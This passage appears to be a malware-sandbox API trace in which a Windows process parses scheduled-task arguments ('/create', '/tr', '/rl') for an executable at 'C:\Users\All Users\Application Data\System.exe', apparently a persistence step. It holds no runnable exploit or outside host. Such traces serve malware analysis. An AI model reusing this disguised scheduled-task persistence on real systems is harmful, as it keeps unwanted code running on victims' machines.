(_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.363] lstrlenW (lpString="tr") returned 2 [0129.363] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.363] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.363] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.363] lstrlenW (lpString="|create|") returned 8 [0129.363] lstrlenW (lpString="|tr|") returned 4 [0129.363] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.363] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.363] lstrlenW (lpString="?") returned 1 [0129.364] lstrlenW (lpString="?") returned 1 [0129.364] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.364] lstrlenW (lpString="tr") returned 2 [0129.364] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.364] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|?|") returned 3 [0129.364] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.364] lstrlenW (lpString="|?|") returned 3 [0129.364] lstrlenW (lpString="|tr|") returned 4 [0129.364] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.364] lstrlenW (lpString="s") returned 1 [0129.364] lstrlenW (lpString="s") returned 1 [0129.364] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.364] lstrlenW (lpString="tr") returned 2 [0129.364] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.364] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|s|") returned 3 [0129.364] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.364] lstrlenW (lpString="|s|") returned 3 [0129.364] lstrlenW (lpString="|tr|") returned 4 [0129.364] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.364] lstrlenW (lpString="u") returned 1 [0129.364] lstrlenW (lpString="u") returned 1 [0129.364] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.364] lstrlenW (lpString="tr") returned 2 [0129.364] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.364] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|u|") returned 3 [0129.365] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.365] lstrlenW (lpString="|u|") returned 3 [0129.365] lstrlenW (lpString="|tr|") returned 4 [0129.365] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.365] lstrlenW (lpString="p") returned 1 [0129.365] lstrlenW (lpString="p") returned 1 [0129.365] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.365] lstrlenW (lpString="tr") returned 2 [0129.365] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.365] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|p|") returned 3 [0129.365] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.365] lstrlenW (lpString="|p|") returned 3 [0129.365] lstrlenW (lpString="|tr|") returned 4 [0129.365] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.365] lstrlenW (lpString="ru") returned 2 [0129.365] lstrlenW (lpString="ru") returned 2 [0129.365] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.365] lstrlenW (lpString="tr") returned 2 [0129.365] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.365] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ru|") returned 4 [0129.365] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.365] lstrlenW (lpString="|ru|") returned 4 [0129.365] lstrlenW (lpString="|tr|") returned 4 [0129.365] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0129.365] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.365] lstrlenW (lpString="rp") returned 2 [0129.365] lstrlenW (lpString="rp") returned 2 [0129.366] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.366] lstrlenW (lpString="tr") returned 2 [0129.366] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.366] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rp|") returned 4 [0129.366] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.366] lstrlenW (lpString="|rp|") returned 4 [0129.366] lstrlenW (lpString="|tr|") returned 4 [0129.366] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0129.366] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.366] lstrlenW (lpString="sc") returned 2 [0129.366] lstrlenW (lpString="sc") returned 2 [0129.366] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.366] lstrlenW (lpString="tr") returned 2 [0129.366] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.366] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.366] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.366] lstrlenW (lpString="|sc|") returned 4 [0129.366] lstrlenW (lpString="|tr|") returned 4 [0129.366] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0129.366] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.366] lstrlenW (lpString="mo") returned 2 [0129.366] lstrlenW (lpString="mo") returned 2 [0129.366] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.366] lstrlenW (lpString="tr") returned 2 [0129.366] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.367] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.367] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.367] lstrlenW (lpString="|mo|") returned 4 [0129.367] lstrlenW (lpString="|tr|") returned 4 [0129.367] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0129.367] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.367] lstrlenW (lpString="d") returned 1 [0129.367] lstrlenW (lpString="d") returned 1 [0129.367] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.367] lstrlenW (lpString="tr") returned 2 [0129.367] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.367] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|d|") returned 3 [0129.367] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.367] lstrlenW (lpString="|d|") returned 3 [0129.367] lstrlenW (lpString="|tr|") returned 4 [0129.367] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.367] lstrlenW (lpString="m") returned 1 [0129.367] lstrlenW (lpString="m") returned 1 [0129.367] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.367] lstrlenW (lpString="tr") returned 2 [0129.367] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.367] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|m|") returned 3 [0129.367] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.367] lstrlenW (lpString="|m|") returned 3 [0129.367] lstrlenW (lpString="|tr|") returned 4 [0129.367] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.367] lstrlenW (lpString="i") returned 1 [0129.368] lstrlenW (lpString="i") returned 1 [0129.368] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.368] lstrlenW (lpString="tr") returned 2 [0129.368] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.368] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|i|") returned 3 [0129.368] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.368] lstrlenW (lpString="|i|") returned 3 [0129.368] lstrlenW (lpString="|tr|") returned 4 [0129.368] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.368] lstrlenW (lpString="tn") returned 2 [0129.368] lstrlenW (lpString="tn") returned 2 [0129.368] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.368] lstrlenW (lpString="tr") returned 2 [0129.368] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.368] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.368] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.368] lstrlenW (lpString="|tn|") returned 4 [0129.368] lstrlenW (lpString="|tr|") returned 4 [0129.368] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0129.368] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.368] lstrlenW (lpString="tr") returned 2 [0129.368] lstrlenW (lpString="tr") returned 2 [0129.368] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.368] lstrlenW (lpString="tr") returned 2 [0129.368] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.369] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.369] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tr|") returned 4 [0129.369] lstrlenW (lpString="|tr|") returned 4 [0129.369] lstrlenW (lpString="|tr|") returned 4 [0129.369] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.369] lstrlenW (lpString="-/") returned 2 [0129.369] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.369] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\System.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\System.exe'" [0129.369] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.369] _memicmp (_Buf1=0x2a3f45ba9f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.369] _memicmp (_Buf1=0x2a3f45ba930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] lstrlenW (lpString="'C") returned 2 [0129.369] lstrlenW (lpString="-/") returned 2 [0129.369] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.369] _memicmp (_Buf1=0x2a3f45ba950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.369] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.370] GetProcessHeap () returned 0x2a3f45b0000 [0129.370] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bab10) returned 1 [0129.370] GetProcessHeap () returned 0x2a3f45b0000 [0129.370] RtlReAllocateHeap (Heap=0x2a3f45b0000, Flags=0xc, Ptr=0x2a3f45bab10, Size=0x62) returned 0x2a3f45b3b60 [0129.370] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.370] lstrlenW (lpString=" \x09") returned 2 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0129.370] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.370] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0129.371] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0129.371] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.372] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.372] GetLastError () returned 0x0 [0129.372] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.372] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.372] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.372] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.372] lstrlenW (lpString="/rl") returned 3 [0129.372] lstrlenW (lpString="-/") returned 2 [0129.372] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.372] lstrlenW (lpString="create") returned 6 [0129.372] lstrlenW (lpString="create") returned 6 [0129.372] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.372] lstrlenW (lpString="rl") returned 2 [0129.372] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.372] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.372] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.372] lstrlenW (lpString="|create|") returned 8 [0129.372] lstrlenW (lpString="|rl|") returned 4 [0129.372] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0129.373] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.373] lstrlenW (lpString="?") returned 1 [0129.373] lstrlenW (lpString="?") returned 1 [0129.373] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.373] lstrlenW (lpString="rl") returned 2 [0129.373] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.373] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|?|") returned 3 [0129.373] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.373] lstrlenW (lpString="|?|") returned 3 [0129.373] lstrlenW (lpString="|rl|") returned 4 [0129.373] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.373] lstrlenW (lpString="s") returned 1 [0129.373] lstrlenW (lpString="s") returned 1 [0129.373] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.373] lstrlenW (lpString="rl") returned 2 [0129.373] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.373] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|s|") returned 3 [0129.373] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.373] lstrlenW (lpString="|s|") returned 3 [0129.373] lstrlenW (lpString="|rl|") returned 4 [0129.373] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.373] lstrlenW (lpString="u") returned 1 [0129.373] lstrlenW (lpString="u") returned 1 [0129.373] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.373] lstrlenW (lpString="rl") returned 2 [0129.373] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.374] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|u|") returned 3 [0129.374] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.374] lstrlenW (lpString="|u|") returned 3 [0129.374] lstrlenW (lpString="|rl|") returned 4 [0129.374] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.374] lstrlenW (lpString="p") returned 1 [0129.374] lstrlenW (lpString="p") returned 1 [0129.374] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.374] lstrlenW (lpString="rl") returned 2 [0129.374] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.374] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|p|") returned 3 [0129.374] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.374] lstrlenW (lpString="|p|") returned 3 [0129.374] lstrlenW (lpString="|rl|") returned 4 [0129.374] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.374] lstrlenW (lpString="ru") returned 2 [0129.374] lstrlenW (lpString="ru") returned 2 [0129.374] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.374] lstrlenW (lpString="rl") returned 2 [0129.374] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.374] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ru|") returned 4 [0129.374] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.374] lstrlenW (lpString="|ru|") returned 4 [0129.374] lstrlenW (lpString="|rl|") returned 4 [0129.374] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0129.374] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.375] lstrlenW (lpString="rp") returned 2 [0129.375] lstrlenW (lpString="rp") returned 2 [0129.375] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.375] lstrlenW (lpString="rl") returned 2 [0129.375] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.375] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rp|") returned 4 [0129.375] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.375] lstrlenW (lpString="|rp|") returned 4 [0129.375] lstrlenW (lpString="|rl|") returned 4 [0129.375] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0129.375] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.375] lstrlenW (lpString="sc") returned 2 [0129.375] lstrlenW (lpString="sc") returned 2 [0129.375] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.375] lstrlenW (lpString="rl") returned 2 [0129.375] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.375] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.375] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.375] lstrlenW (lpString="|sc|") returned 4 [0129.375] lstrlenW (lpString="|rl|") returned 4 [0129.375] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0129.375] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.375] lstrlenW (lpString="mo") returned 2 [0129.375] lstrlenW (lpString="mo") returned 2 [0129.375] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.376] lstrlenW (lpString="rl") returned 2 [0129.376] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.376] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.376] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.376] lstrlenW (lpString="|mo|") returned 4 [0129.376] lstrlenW (lpString="|rl|") returned 4 [0129.376] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0129.376] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.376] lstrlenW (lpString="d") returned 1 [0129.376] lstrlenW (lpString="d") returned 1 [0129.376] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.376] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.376] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|d|") returned 3 [0129.376] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rl|") returned 4 [0129.376] lstrlenW (lpString="|d|") returned 3 [0129.376] lstrlenW (lpString="|rl|") returned 4 [0129.376] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.376] lstrlenW (lpString="m") returned 1 [0129.376] lstrlenW (lpString="m") returned 1 [0129.376] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.376] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.376] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|m|") returned 3 [0129.376] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: 